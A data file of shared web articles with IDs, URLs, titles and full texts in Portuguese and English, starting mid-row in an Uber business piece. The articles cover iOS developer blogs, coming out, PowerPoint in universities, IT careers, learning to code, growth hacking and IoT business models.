as reservas brutas (valores cobrados pelo app antes da divisão entre motoristas e o Uber) dispararam em 2015. Isso parecia um sinal de que os negócios do Uber estavam indo bem. ""Isso é básico em se tratando de negócios"", disse o Uber em comunicado ao Business Insider no ano passado, após suas finanças privadas vazarem. ""Você arrecada dinheiro, investe o dinheiro, cresce (ou pelo menos espera crescer), obtém lucro e gera um retorno para os investidores."" A parte crítica que o Uber omite é como a empresa vai obter lucro se continuar a perder a maior parte de seu dinheiro para os motoristas. Bem, uma hora ou outra, eles querem se livrar dos parceiros e substituí-los por veículos que dirigem sozinhos. Este mês, a empresa anunciou que iniciará um teste de carros autônomos no centro de Pittsburgh (EUA), indicando parte de seu plano de negócios de longo prazo. Ela também adquiriu a empresa Otto de veículos autônomos por US$ 300 milhões, mostrando sua vontade de avançar na tecnologia de carros sem motorista. Resta ver se os custos em manter carros autônomos - combustível, manutenção, centrais de controle, eventuais processos jurídicos - serão realmente menores do que pagar motoristas humanos.",pt
1472233030,CONTENT SHARED,-2430889785264760757,693665567872370395,-7784996218927054160,,,,HTML,http://www.softwarehow.com/best-blogs-for-ios-developers/,Top 100 Best Blogs for iOS Developers to Learn and Gain Insights,"Here you go:​ iOSDeveloperTips acts as a perfect hub that delivers high-quality tutorials, code examples, tips and tricks gathered from other web resources. In short, you'll learn iOS development from the experts. P.S. the team also creates Swift Code & Tools , a weekly newsletter focused on Swift code & tools -- another great iOS resource as well. If it's Friday, you'd better check out this blog. Why? Because Dave has probably published an insanely awesome update about iOS development. To make sure you are the first one to read that, I'd suggest you enter your email and subscribe his newsletter. It's free. Follow  @DaveVerwer on Twitter. Oliver Drobnik describes Cocoanetics this way: ""Our DNA is written in Objective-C!"". You'll find many useful, yet detailed code examples, and learn a great deal of stuff related to Objective-C. Oliver also developed some great apps like Urban Airship Commander, GeoCorder, iWomen, etc which are available on App Store. If you want to know what iOS indie devs are up to, the tricks they share, and their experiences with designing, coding, and marketing their apps, then you should read this blog. It started as a small group of developers who realized they wanted to blog more often about their projects, but lacked the motivation to actually do it. Follow @iDevBlogADay on Twitter. A blog created by Jeff LaMarche to share tons of tutorials and insights regarding iOS and Mac development during his engineering journey. Jeff is the co-author of the book ""Beginning iPhone 4 Development: Exploring the iOS SDK"" (available here on Amazon). He is also the managing partner and founder of MartianCraft. Follow @Jeff_Lamarche on Twitter. What impresses me about Mike's story is this: He's a programmer by night, and a glider pilot by day. Yes, he loves the sky! In this blog, he generously shares a lot about Mac and iOS development tips and tricks. I highly recommend you check out the Friday Q&A series which are great. CIMGF was created by Marcus Zarra (Core Data Guru), the author of Core Data: Apple's API for Persisting Data under Mac OS X. In this blog, you'll find tremendously practical posts about programming on iOS and OS X. P.S. read the about page, you'll be amazed by how Marcus came up with the awesome name idea. :) Follow @MZarra on Twitter. Furbo.org is where Craig Hockenberry writes for the web. He makes apps and runs websites. He first became involved with technology in 1976, and has been blogging about it for nearly a decade. You'll find tons of development insights about iOS, XCode, Mac, website development, design, etc. Follow @CHockenberry on Twitter. Another nice hub where plenty of handpicked iOS dev stuff is aggregated. It's administered by Hugo Doria, a professional iOS developer. Pro tip: navigate to the right sidebar and check out the ""Archives"" to see all headlines posted in the past. Follow @HDoria on Twitter. Here, it's about pure code! From mobile development, iOS SDK, to web development, this blog covers a wide range of topics about coding. By the way, Tuts+ is also marketplace of online courses that teach creative and technical skills. Ole is an iOS and Mac developer from Berlin. He's written about software development on Apple platforms since 2009. Though he publishes only a few articles a year, all of them are worthwhile reading. You can subscribe to get notified once he updates a new one. P.S. I really like the style of his blog: simple, clean, and enjoyable. This site is a must-go-to resource for every respectable iOS developer. It contains comprehensive Objective-C / Swift tutorials, resources, and holds regular competitions. While blog topics are alike, authors and perspectives are numerous and diverse. Follow @iOS_blog on Twitter. Codementor's Learning Center is an all-in-one place to learn coding for free. Whether you are new to iOS development, or just trying to become a better developer in general, you'll find tutorials, guides, videos, and tips from experienced experts like Ray Wenderlich. You'll also love the startup-related topics, if that's you're thing. Follow @CodementorIO on Twitter. You find a lot of valuable web, mobile application development insights shared by Holly Schinsky, a developer advocate for PhoneGap at Adobe. The topics are heavily related to PhoneGap/Cordova, so if you are a developer with interests in that area, bookmark her blog. Most invaluable is her mindset on developing and testing apps. Follow @devgirlFL on Twitter. Cocoawithlove was created by Matt Gallagher, an independent software developer and consultant based in Melbourne, Australia. He's been a Cocoa developer since 2005 and blogged since 2008. Tip: navigate to the ""Archive"" section to browse more insightful posts. Follow @CocoaWithLove on Twitter. This blog is also known as RaizException. It is the developer blog for Raizlabs, an Inc5000 leading company dedicated to improving the world through building world-class mobile & web apps. Covered topics: iOS, Android, Mac, and more. By the way, they are hiring (iOS developers in San Francisco and Boston). Follow @Raizlabs on Twitter. You may not know TapTapTap, but I am sure you've used or heard about Camera+, an awesome picture-taking app that went viral on the App Store and has been featured everywhere related to mobile. Here, the TapTapTap team shares a lot of stuff -- including the data about their App Store marketing efforts. Follow @taptaptap on Twitter. Here you'll enjoy excellent tutorials, libraries, and tools related to iOS development. Johann started this blog when he was doing contract iOS dev projects. Later on. he began posting great tutorials from other sources as well. Note: if you have great tips, contact Johann to see if you can share with his audiences. GottaBe Mobile is a Silicon Valley-based news and reviews website that covers constantly changing mobile technology. A big portion of their content relates to iPhone & iOS. Here you'll find notes on designing, developing, and delivering great products including iOS mobile apps. Carbon Five is a company offers software development services from an agile team, with several offices in California. P.S. the team is also the creator of stickies.io. Follow @CarbonFive on Twitter. Metova is a professional services company focused on mobile applications since 2006. In the blog, you'llnlearn not only iOS development tips but design, strategy and featured apps. Follow @metova on Twitter. Ray Basile has authored iPhone Savior Blog since June of 2007, consistently cranking out unique iPhone news stories and building and audience of over seven million. He also writes a personal blog about life, creativity, and personal growth. Follow @MrBesilly on Twitter. Another great resource for students who are interested in mobile development. Globe University blog (information technology section) has many great articles related to that subject. Follow @GlobeUniversity on Twitter. In Peter's blog, you'll find a lot of specific code examples related to iOS, and PSPDFKit (a drop-in-ready framework rated as the most advanced PDF framework for iOS and Android). Peter loves pushing the limits of Cocoa and making iOS apps. He lives in Vienna, Austria. Follow @steipete on Twitter. Another goldmine for iPhone developers! iDev101 is an all-in-one place for learning iPhone programming. It covers topics like Objective-C, User Interface, Distribution, and Marketing. Also, you can access useful resources like buttons and icons, open source libraries, etc. Follow @idev101 on Twitter. A nerdy blog for nerdy people! Here you'll find tutorials and tips about iOS, OS X, PHP and more. Yari D'areglia is an OS X, iOS, and web developer working as a senior developer at Neato Robotics in California. Follow @bitwaker on Twitter. This blog is all about mobile apps (iOS & Android). From app development tips to app marketing and engagement tricks, you'll learn a ton. Dynamic Leap Technology is a mobile app development shop based on Vancouver, Canada. Follow @DynamicLeap on Twitter. If you sometimes just look at an app and wonder, ""How they do that?"" you'll find this blog helpful. It explores and re-creates interesting features and user interfaces on iPhone and iPad apps. iDevRecipes was created by Peter Boctor. Also called ""The Finishing Touch"", this blog was started by Stav Ashuri, a software engineer at Facebook. You'll find many iOS and UX development thoughts, with great code examples, shared by Stav. Follow @Stav_Ashuri on Twitter. iOS Goodies is a weekly iOS newsletter curated by Rui Peres and Tiago Almeida. It's another informative hub that collects high-quality posts published on the Internet with topics related to iOS, Xcode, business trends, advice, and more. Founded by Todd Ogasawara, MobileViews is a blog about mobile technology: phones, portable gaming, GPS, etc. Todd was one of the first five Microsoft MVPs in the Mobile Devices category. He also founded and managed the Microsoft Network (MSN) Computer Telephony & Windows CE Forums from 1995 to 2001. Follow @ToddOgasawara on Twitter. This blog was created and updated by Mike Newell, a creative developer based on San Francisco. He shares what he's learned on his journey as a developer. Topics include life, hard lessons, and betterment through code. Follow @newshorts on Twitter. The blog was started by Mike in 2009. Since then, he's posted a number of awesome articles about iOS, App Store, PhoneGap, data-driven testing, and things related to tech. Mike is now working as a software engineer at Pen do.io. Since 2010, Scotty Ruth has shared many of the highs and lows of his mobile app adventures. Based in Grand Rapids, MI, Scotty is an iOS developer and UI designer for Web and native iOS products. Follow @heyscottyman on Twitter.",en
1472235024,CONTENT SHARED,8626761683919164251,6735372008307093370,1984623151613671672,,,,HTML,http://www.brasilpost.com.br/2016/08/25/como-sair-armario-amigos_n_11668956.html,Tem hora certa pra sair do armário?,"Publicado: Para qualquer LGBT, viver dentro do armário sufoca. Seja aos 15 ou aos 30, a sensação de ter uma parte da sua vida não compartilhada com quem você gosta e admira não faz bem a ninguém. Dica #1: saiba que é algo recorrente No curta 'Reencontro' da série 'Renografias' da Renault, três amigos refazem uma viagem da juventude, mas apesar de todas as boas lembranças, um deles não consegue mais se divertir como antes, pois guarda em segredo sua orientação sexual. A viagem foi o momento ideal para o personagem contar aos amigos que é gay. Mas, será que tem uma hora certa pra isso? Fomos investigar e descobrirmos três dicas que podem ajudar nesta decisão. Eu sou gay! Eu sou gay! Eu sou gay! Eu sou gay! Eu sou gay! Para muitas pessoas, sair do armário é tão difícil porque significa enfrentar o medo de ser apontado como ""anormal"". Por isso, entender mais sobre sexualidade ajuda a perceber que não existe nada de errado com os seus desejos. Dica #2: Inspire-se nas experiências de outras pessoas Entender o assunto também faz você se preparar para inseguranças que surgirão no caminho. Para a professora de antropologia Larissa Pelúcio, que pesquisa gênero e sexualidade na Unesp de Bauru (SP), um dos primeiros obstáculos está logo ali no seu círculo de convívio. ""A dificuldade de sair do armário vem da percepção de que isso te coloca em vários campos de risco. O primeiro deles é nas suas relações de afeto. É sentir que você está frustrando pessoas que não poderia frustrar"", ela explica. Conhecer melhor o jeito como a sociedade funciona também faz você perceber fatos que nunca tinha pensado. Por exemplo, que sair do armário é um processo que se repetirá várias vezes na vida. ""Você vai administrar esta informação a cada nova relação que estabelecer, seja profissional ou pessoal. Então é uma 'economia do segredo', você vai continuar considerando perdas e ganhos para sair menos machucado"". ""Como sair do armário"". Pesquisar. Dica #3: Conte com um psicólogo Ler outros texto na internet pode ajudar - e muito! Um dos maiores endereços em português sobre o tema, o blog Saindo do Armário , tem exemplos disso. ""Eu queria uma forma de ajudar outras pessoas que estavam passando por situações semelhantes"", conta Leandro Guedes, 31 anos, criador do site. ""As pessoas procuram conforto no blog, querem se sentir aliviadas lendo a história de alguém e vendo que pode dar certo"". Aqui no HuffPost Brasil, dois dos textos de maior audiência sobre o assunto também são boas fontes de informação e histórias. Em "" 7 coisas que eu gostaria de saber antes de sair do armário "", o blogueiro relata situações comumente enfrentadas por gays. Já na reportagem "" 5 lições para sair bem do armário "", o primeiro tópico é uma dica certeira: ""Antes para você mesmo, depois para os outros"". ""Pode deitar que eu já tô anotando tudo"" Fazer terapia é outra atitude que pode ajudar no processo, principalmente se você ainda tem dificuldade de lidar com seus desejos. ""Noventa e cinco por cento das experiências que acompanhei estavam nesta fase de se sentir bem na própria pele, de reconhecer o próprio desejo sem que isso seja algo destrutivo"", revela o psicólogo Raoni Rodrigues. Nesse aspecto, parte do trabalho é mostrar que se assumir LGBT traz mudanças na sua identidade, mas que isso não afeta a essência da pessoa. ""Essas questões que ameaçam a nossa identidade nos deixam muito assustados sobre o que vamos continuar sendo, sobre como continuarão as nossas relações. As pessoas ficam paralisadas com medo de sofrer perdas a partir dessas mudanças"", explica Raoni. Mas tem como a psicologia fazer essa revelação acontecer da forma mais suave possível? ""É uma ilusão achar que vamos encontrar a hora certa, o jeito certo... É como encontrar um jeito de mudar menos as coisas. Vai trazer mudança, mas não necessariamente será uma mudança caótica"", argumenta o psicólogo. A série Renografias da Renault, aborda a relação do carro com as pessoas. A marca acredita que, assim como a sua vida, o seu carro também precisa ter espaço para aventuras. Assista às outras histórias no site.",pt
1472248908,CONTENT SHARED,-6810247170272691501,3217014177234377440,-8453739667875269017,,,,HTML,http://www.businessinsider.com/universities-should-ban-powerpoint--it-makes-students-stupid-and-professors-boring-2015-6?r=UK&IR=T,[Tools] Universities should ban PowerPoint - It makes students stupid and professors boring,"Wikimedia Commons Do you really believe that watching a lecturer read hundreds of PowerPoint slides is making you smarter? I asked this of a class of 105 computer science and software engineering students last semester. An article in The Conversation recently argued universities should ban PowerPoint because it makes students stupid and professors boring. I agree entirely. However, most universities will ignore this good advice because rather than measuring success by how much their students learn, universities measure success with student satisfaction surveys, among other things . What is so wrong with PowerPoint? Overreliance on slides has contributed to the absurd belief that expecting and requiring students to read books, attend classes, take notes and do homework is unreasonable. Courses designed around slides therefore propagate the myth that students can become skilled and knowledgeable without working through dozens of books, hundreds of articles and thousands of problems. Screenshot/The Conversation A review of research on PowerPoint found that while students liked PowerPoint better than overhead transparencies, PowerPoint did not increase learning or grades. Liking something doesn't make it effective, and there's nothing to suggest transparencies are especially effective learning tools either. Research comparing teaching based on slides against other methods such as problem-based learning - where students develop knowledge and skills by confronting realistic, challenging problems - predominantly supports alternative methods. PowerPoint slides are toxic to education for three main reasons: Slides discourage complex thinking . Slides encourage instructors to present complex topics using bullet points, slogans, abstract figures and oversimplified tables with minimal evidence. They discourage deep analysis of complex, ambiguous situations because it is nearly impossible to present a complex, ambiguous situation on a slide. This gives students the illusion of clarity and understanding. Reading evaluations from students has convinced me that when most courses are based on slides, students come to think of a course as a set of slides. Good teachers who present realistic complexity and ambiguity are criticised for being unclear. Teachers who eschew bullet points for graphical slides are criticised for not providing proper notes. Slides discourage reasonable expectations. When I used PowerPoint, students expected the slides to contain every detail necessary for projects, tests and assignments. Why would anyone waste time reading a book or going to a class when they can get an A by perusing a slide deck at home in their pyjamas? Measuring the wrong things If slide shows are so bad, why are they so popular? Universities measure student satisfaction but they do not measure learning. Since organisations focus on what they measure and students like PowerPoint, it stays, regardless of its educational effectiveness. Hospitals measure morbidity and mortality. Corporations measure revenue and profit. Governments measure unemployment and gross domestic product. Even this website measures readership, broken down by article and author. But universities don't measure learning. Exams, term papers and group projects ostensibly measure knowledge or ability. Learning is the change in knowledge and skills and therefore must be measured over time. Missouri School Of Journalism When we do attempt to measure learning, the results are not pretty. US researchers found that a third of American undergraduates demonstrated no significant improvement in learning over their four-year degree programs. They tested students in the beginning, middle and end of their degrees using the Collegiate Learning Assessment , an instrument that tests skills any degree should improve - analytic reasoning, critical thinking, problem solving and writing. Any university can deploy similar testing to measure student learning. Doing so would facilitate rigorous evaluations of different teaching methods. We would be able to quantify the relationship between PowerPoint use and learning. We would be able to investigate dozens of learning correlates and eventually establish what works and what doesn't. Unfortunately, many key drivers of learning appear to reduce student satisfaction and vice versa. As long as universities continue to measure satisfaction but not learning, the downward spiral of lower expectations, less hard work and less learning will continue. A momentous peace deal with the FARC - so what next for Colombia? Will a merged Tesla-SolarCity put a solar-powered battery in every home? Fentanyl and other synthetic opioids sold as counterfeits in deadly new trend How men benefit from family-friendly tenure policies SEE ALSO: Confederate statues at University of Texas spray-painted with 'black lives matter' NOW WATCH: Here's exactly when you should 'cc' someone on email",en
1472314422,CONTENT SHARED,6940370558848102253,3915038251784681624,-67235143738340375,,,,HTML,http://cio.com.br/tecnologia/2016/08/26/graduacao-ja-nao-garante-uma-carreira-de-sucesso-em-ti/,Graduação já não garante uma carreira de sucesso em TI - CIO,"A indústria de TI mudou drasticamente nos últimos anos e, como resultado, as habilidades e experiências requisitadas pelas organizações também. A graduação já não garante uma carreira de sucesso na indústria de TI. Estudantes que aspiram a uma carreira na indústria de TI são frequentemente apresentados a um aparente paradoxo: carreiras de tecnologia representam um trabalho prontamente disponível e bem pago, mas está fechada pelos custos cada vez mais inacessíveis de um curso de quatro anos. Felizmente, esta é apenas uma meia verdade. Cada vez mais, empregadores estão se voltando para certificações e estágios para identificar e contratar trabalhadores capacitados. Para os alunos, esta alternativa ao tradicional quatro anos pode parecer contraintuitivo, mas é uma abordagem pragmática. O treinamento de habilidades específicas tem um preço menor e traduz diretamente a expertise usada no trabalho. Apresentando essas qualificações em um currículo, torna-se mais fácil para os profissionais de RH compararem suas necessidades contra as habilidades e experiências dos requerentes. De acordo com a pesquisa College Board Annual Survey of Colleges, faculdades públicas de quatro anos têm visto suas taxas de crescimento a uma média anual de 3,4%, durante a última década. Ao mesmo tempo, mais de 500 mil posições de TI ficaram por preencher no ano passado. Enquanto o acesso à faculdade torna-se mais desafiador e a demanda dos empregadores por profissionais experientes em tecnologia incha, os trabalhadores e as empresas estão procurando uma combinação de outras credenciais para satisfazer as suas necessidades. O equívoco da faculdade Um diploma de bacharel tem servido tipicamente como o primeiro passo para uma carreira na indústria de TI, mas as organizações de hoje exigem uma combinação diferente de habilidades e experiências. Como resultado, os contratantes estão cada vez mais focados na identificação de candidatos com talentos específicos, independentemente de onde eles foram adquiridos. Apesar dessa mudança de atitude, a maioria dos estudantes e seus pais têm opiniões desatualizadas do setor e enfatizam a importância do diploma. De acordo com estudo da CompTIA, HR Perceptions of IT Training and Certification, 98% dos gestores de RH estão dispostos a considerar as qualificações fora da faculdade no currículo de um candidato. Mesmo assim, a maioria dos alunos e pais visualizam um diploma universitário como uma credencial necessária dentro da indústria de TI. Uma universidade será sempre uma oportunidade benéfica para milhões de alunos aprimorarem seus pensamentos críticos, mas habilidade e experiência são a nova moeda para o desenvolvimento de carreiras em tecnologia. O RH quer habilidades, não necessariamente diplomas Talvez devido, em parte, às carreiras não convencionais de alguns dos heróis da indústria de tecnologia - incluindo estrelas como Bill Gates, Mark Zuckerberg e Steve Jobs - hoje as empresas de TI estão mais interessadas no que você sabe do que como você aprendeu. Apesar dessas histórias de sucesso, as organizações precisam garantir que os profissionais compartilhem uma competência base de habilidades em trabalhos críticos, e olham para uma série de indicadores de verificação. Quase metade (42%), dos gestores de RH irão considerar uma experiência significativa no lugar de um curso de quatro anos, enquanto 38% visualizam uma certificação de uma organização respeitável como uma alternativa viável e 35% consideram estágios e treinamentos internos em igual maneira. Mesmo em comparação com estudantes que tenham frequentado a faculdade, um terço dos gerentes de RH consideram candidatos com diplomas de cursos de dois anos de duração, enquanto 31% acreditam que uma combinação de experiência relevante e habilidades, um curso e ser membro de uma associação profissional são substitutos credíveis aos quatro anos tradicionais. Os empregadores estão superando a mentalidade ""faculdade ou fracasso"" e os estudantes têm uma infinidade de ferramentas para entrar na indústria de TI. Com os preços das mensalidades nas alturas, certificações de competência da indústria permanecem uma alternativa acessível, além do foco exclusivo nas habilidades relevantes de trabalho. Combinada com a experiência prática por meio de estágios, as certificações podem servir como um poderoso indicador do seu conhecimento. Elas também fornecem uma base comum para construir com uma formação mais avançada ou especializada, que lhe permite progredir na sua carreira em TI, proporcionando uma prova tangível para os empregadores. Destronando o reino da faculdade Não há dúvidas de que a faculdade é uma experiência inestimável, mas não é a única maneira de conquistar uma carreira em TI. A educação não tradicional e habilidades têm sido a norma para os programadores e desenvolvedores (e as pessoas que os empregam), mas estas normas estão, finalmente, permeando toda a indústria. Partindo do suporte ao desenvolvimento de produtos, a indústria passou a adotar uma abordagem de habilidades básicas. Você não tem que ser o próximo Jan Koum para fazê-lo sem uma formação - com a combinação certa de certificações e experiência prática, você pode alavancar sua carreira em TI. (*) Todd Thibodeaux é o presidente e CEO da CompTIA",pt
1472392267,CONTENT SHARED,-1291869519847635026,3302556033962996625,1025575970804202705,,,,HTML,https://medium.freecodecamp.com/learning-how-to-learn-the-most-important-developer-skill-7bf62dfaf67d?gi=8b568dd5f8c0,Learning How to Learn: The Most Important Developer Skill - Free Code Camp,"Learning How to Learn: The Most Important Developer Skill Being an efficient learner is at least as important as being an efficient coder. When you're a developer, your job requires you to learn every single day - in spite of the constant lure of distractions like Hacker News, Twitter, Reddit, and Facebook. You constantly encounter new code bases and new technical challenges at work. Home is no better, as you tackle open source repos and personal projects, each with their own processes and challenges to tackle. The tech world changes fast, and it can feel like a full-time job just keeping up with the latest tools, languages and frameworks. Long story short: learning is hard. Yet, we need to be able to learn quickly and effectively to thrive. In the past year, I went from not knowing how to use the Chrome debugger to working as a software engineer for a leading cryptocurrency company. In the process, I rapidly learned a new skill (coding). That said, learning didn't come easy for me. Honestly, every new concept was a struggle. There were too many unknowns, and too much uncertainty. ""How in the world is this sustainable?"" I thought to myself. ""If this is what learning to code is supposed to feel like every day, I'll be miserable. Is this really my passion?"" ""Wouldn't this be easy for me if this was my passion? Do artists struggle to produce art? Do writers struggle to write a great book? Do athletes struggle to do well in a race? Are we supposed to struggle when we're pursuing our passions?"" ""Shouldn't I be finding pleasure in this?"" Does it ever get easier? Yes, it does. A year later, tackling new programming concepts is still ""difficult"" in the sense that it requires discipline and hard work. But it's also become an enjoyable process, rather than an overwhelming one. What happened in the last year to make that shift possible? Simple: I changed my perspective on learning. What once struck me as ""difficult"" became ""engaging."" In the rest of the post, I'll explain how this transformation happened. Just getting started Learning to code is hardest at the beginning. For example, think about the first programming language you have to learn. You want to tackle the small things like syntax and style. But first, you have to comprehend difficult core concepts like values, types, operators, control flow, functions, higher order functions, scopes, closures, recursion, and so much more. It feels like learning to juggle - but starting with eighteen pins instead of two. When I first learned about closures, it took me many weeks to truly understand the concept. I thought I understood it when I read about it. But when I tried to identify and use closures in practice, I'd find myself stumped. That wasn't unusual. I've observed this process as a teacher as well: new concepts don't usually click the first time around. Or the second. Or even the tenth. But for those who stick it out long enough, there will be a ""breaking point"" where things suddenly begin to make sense. In my example, I read literally every blog post, Stack Overflow post, and spec on the internet about closures. Everything I read and experimented with gave me a new perspective, until eventually, I had a 360-degree mental picture of how closures worked. Closures ""clicked."" Getting to a point where I felt this sense of understanding of closures was super important, because it was rewarding and encouraged me to go for more - including writing my own blog post that explained the concept. Learning is a process, not a goal If we see learning as something we ""have"" to do, then we rush to get it done so that we can spend the rest of our time doing something more ""fun"" - something we ""want"" to do. The problem is that it's impossible to know everything about anything, so viewing learning as a race leads to burnout and disappointment. Instead, if you see learning as a process, you'll appreciate the small victories and insights along the way. This will drive you to constantly move forward. You can compare it to exercise. Workouts hurt, and then the pain ends as soon as your workout ends. But it's never gone. It's waiting for you the next time you workout. Except each time, the pain becomes less piercing. You learn to cope with it. You become familiar with the pain, and it just becomes part of the routine. You are rewarded by better health and a better physique and are incentivized to keep going. Exercise creates a positive feedback loop: The same is true for learning. Turning learning into an engaging process Imagine building your very first web application. At first, all you've got is a daunting, blank text editor. The task of building the app seems almost insurmountable. You know nothing, and have so much to learn before you can make this happen. Thankfully, you decide to go for it anyway. From then on, your main focus becomes to do one small step at a time. First, you create an idea. What will you build? Who's the end user? What are the constraints? Second, you prototype or sketch out some rough designs for what you think it might look like. You ask your friends or the internet for feedback, and iterate to make it better. Third, you research languages, tools, and frameworks that will work best with your requirements. Step by step you discipline your mind to channel all its energy towards this one goal. Sometimes you're writing code. More often than not you're stalled at some bug or error. Sometimes you're too tired to do any work, so you take a break. Other times, you don't feel like writing code. That's okay. You spend your time researching or reading up on topics related to your project. Eventually, after a few weeks of hard work, you've built a foundation that can handle your big ideas. Suddenly, working on your app doesn't feel as painful. You see the reward of the initial set of hard work, and now it's just another piece of code you need to write or another bit of refactoring you need to do - which you've done 100s of times already, no problem. You turned what was once a daunting or dreadful activity into one that is complex and engaging. This is how we grow. This is how we get better. Whether it's programming, dancing, running, or reading: it's not easy, and there won't ever be a time or place when you're ""done"" learning. Instead, enjoy the process of investing your energy into something, and enjoy the pain that comes along with it. You'll start to notice that you no longer describe it as ""pain"" - because what was once painful becomes a symbol for what's next: a sense of personal accomplishment and self-satisfaction. In other words, struggle and enjoyment will start to mean one and the same thing. Remember the cycle: One approach to learning technical topics Let me tell you a little about the learning process I follow. This isn't the be-all-end-all of learning styles, so if something different works for you, please share it in the comments! In case you can't tell, I'm a nerd about this stuff :) Let's use the process of learning the React.js library as an example. What is the motivation for learning this? First step: I'd start with a Google search for the React.js documentation and read a bit about the background and motivation for the library. Knowing the ""why"" behind any topic is incredibly helpful for framing the learning process. It answers questions like: How is this different from other solutions? How useful is this to me? What problems does this solution aim to solve? Is this just a new shiny tool that'll only be useful for a few months or will it fundamentally change the way I think and code? Reading and understanding core concepts Second, I'd read through any intro articles or examples provided in the docs. Notice I'm not touching any code yet. Reading and sinking in the core concepts comes before hands-on experimentation. It's incredibly important to do this because it lays the foundation for the rest of my learning. Even though I might be able to get away with blindly using React.js without learning the core concepts, eventually it'll catch up to me when I run into a bug. First time coding After spending some time on the above steps, I start to get the gist of what's going on, or maybe even feel like I totally get it. Then it's time to jump into some code. I typically try to build something really small with any new tool by following a video tutorial (e.g. on egghead.io) or a written tutorial before jumping into custom projects. When you get stuck ...And then, inevitably, I get stuck. Reading the docs seemed like a piece of cake, but actually using it in practice makes me realize I have no idea what's going on. This is when I start to feel that dreaded ""just give up"" feeling. But instead of giving in when the going gets tough, I remind myself that pain == gain. Turning back would be cowardly. Here's what I do instead: I first narrow down and figure out what I'm actually stuck on - i.e. define the problem. Then I come up with a hypothesis for what I think could be the root cause or causes of the problem. Even if I have no idea, I just make a guess. Then I step away from the problem and my computer and do something that relaxes me. This is incredibly hard to do when I'm so upset about the problem I'm stuck on, but letting go of the problem works wonders. (Ever notice how great ideas always strike in the shower?) Now I try to debug with my hypothesis in mind. I get as far as I can on my hypothesis without looking for answers online - there's something beautiful that happens when you try to solve problems by truly thinking deeply about them on your own first. Even if you're going down the wrong path, the fact that you made the effort teaches you a lot and you remember the problem space much better next time you run into it. If my hypothesis leads to an answer, hooray! I'm done. If not, I Google search for documentation, blog posts, or Stack Overflow posts that could help me get closer to the answer. While reading, I take notes on any and all pieces of information that could potentially be helpful. Still no solution? That's fine. I'm sure I learned something valuable by reading through all that, even if it didn't directly help me solve the problem at hand. Who knows when this knowledge might come in handy next time? At this point, if I'm truly stuck, I will either post a question on Stack Overflow or ask a co-worker or developer I know. Otherwise, I rinse and repeat until I get closer to the final solution. At some point, the answer always comes. At times this process takes a few seconds, and other times it takes hours (or days). Either way, the process itself is incredibly beneficial to your skill set as a developer. Getting stuck on a bug feels like stumbling in a dark tunnel looking for a ray of light. You eventually find it, but along the way you discover so much about the tunnel - and it's knowledge about the ""tunnel"" that makes you strong as a coder. Think of debugging as a chance to explore rather than a detour from your goal, and it becomes much more fun. Rinse and repeat By this point in the learning process, I've built something small and tackled some small hurdles along the way. As you can see, it was a struggle - clearly, I need some more practice with the new tool. So, once again I try to build something on my own. Rather than jumping straight to a big custom project, I'll look for a repo to base my application on. For example, if there's an online CRUD todos example (of course) using React.js, maybe I'll build a different type of CRUD application. Just different enough to keep me engaged, but not so different as to make me discouraged if something goes wrong. Mastery Mastery requires repetition, so I keep building more small projects until I feel like I've got the core concepts down. Eventually, I begin to be able to piece things together on my own without constantly referencing documentation or examples. Only then do I finally adventure out and build something from scratch on my own. Throughout this process, I aim to make the process fun and engaging. I'm constantly pushing myself work on things that are harder than what I am capable of in the moment, but not throwing myself into the deep end so that I get discouraged and never finish. Finally, I make sure to step away as soon as I find myself getting too frustrated to enjoy the project. Learning is fun With some effort and structure, learning programming turns out to be incredibly fun. At first it's incredibly complicated, and in my opinion that's why so many people get scared away - not because it's ""boring,"" but because it's ""hard."" After you go through this learning process a few times, processing new information becomes a muscle memory. You don't really think about it. You just learn to ride the pain wave and find joy in the reward. Like magic, it becomes ""easier"" to learn.",en
1472432415,CONTENT SHARED,4781931173636001110,3609194402293569455,-6551964660043635422,,,,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/36727/5-empresas-que-aplicam-o-growth-hacking-e-que-sao-sucesso.html,5 empresas que aplicam o Growth Hacking e que são sucesso,"Empresário do Marketing Digital destaca exemplos de grandes empresas para explicar o que é Metodologia criada para impulsionar de forma rápida o crescimento de um negócio, o Growth Hacking vem ganhando cada vez mais força no país e já faz parte da realidade de muitas empresas de tecnologia. Priorizando ações de Marketing não convencionais, precedidas de teste e seguidas de mensuração , a estratégia são capazes de aumentar de forma exponencial, mas funcionam plenamente quando associadas a outras táticas. Para ilustrar, o especialista em Marketing Digital de Performance, Fábio Ricotta, fundador da Agência Mestre, analisou cinco empresas de tecnologia que estão usando a ferramenta de maneira eficiente. 1- Pinterest - Um exemplo de Hack focado no crescimento foi realizado pela rede social Pinterest. A empresa, após perceber que as pessoas não se sentiam à vontade para seguir outros perfis no começo, passou a inscrever os novos usuários automaticamente em perfis selecionados de alta qualidade. ""Este hack foi uma forma de garantir melhor experiência do usuário, fazendo com que ele não se sinta perdido e permaneça na rede social"", explica o especialista. 2- AirBnb - Para conquistar a satisfação dos novos usuários e crescer mais rapidamente, o sistema de anúncio e reservas de acomodações AirBnb colocou todos os quartos, casas e apartamentos também no Craiglist, um portal internacional de anúncios de imóveis. ""Esta estratégia aumentava as chances de um imóvel ser alugado, e com isso mais pessoas começaram a usar o serviço"". 3- Twitter - Segundo Ricotta, o Twitter é um ótimo exemplo de como o Growth Hacking pode ser usado não apenas no começo de um projeto, mas após uma queda. ""Depois de sofrer uma queda de usuários, o Twitter percebeu que as pessoas tinham mais tendência de ficar na rede quando seguiam uma grande quantidade de perfis, e começou a fazer mais indicações aos novos usuários"", conta. 4- LinkedIn - Outra rede social que se baseou no Growth Hacking, o LinkedIn fez algo simples, mas que fez muita diferença: permitiu a criação de perfis públicos. ""Ao fazer isso, os perfis na rede passaram a ser encontrados pelo Google de forma orgânica, o que levou mais pessoas a criarem perfis por lá"", explica o empresário. 5- Dropbox - O sistema de armazenamento de dados em nuvem buscou formas de expandir a sua quantidade de usuários através de um sistema de gamification. ""Uma vez que um usuário convidasse outros, ele ganhava em sua conta um espaço adicional sem custo para cada indicação"", explica Ricotta. A técnica aumentou o número de usuários do Dropbox em 60%.",pt
1472434664,CONTENT SHARED,1060159005880386235,-8132559109129514792,-8668326016989888923,,,,HTML,http://blogs.wsj.com/cio/2015/05/26/internet-of-things-drives-outcome-based-business-models/,Internet of Things Drives Outcome-Based Business Models,"By placing intelligent hardware where digital and physical worlds intersect, business leaders and CIOs can gain quantifiable, end-to-end insights into the outcomes their customers are trying to achieve, and use those insights to differentiate themselves competitively and to enter new markets, Guest Contributor Paul Daugherty writes.",en
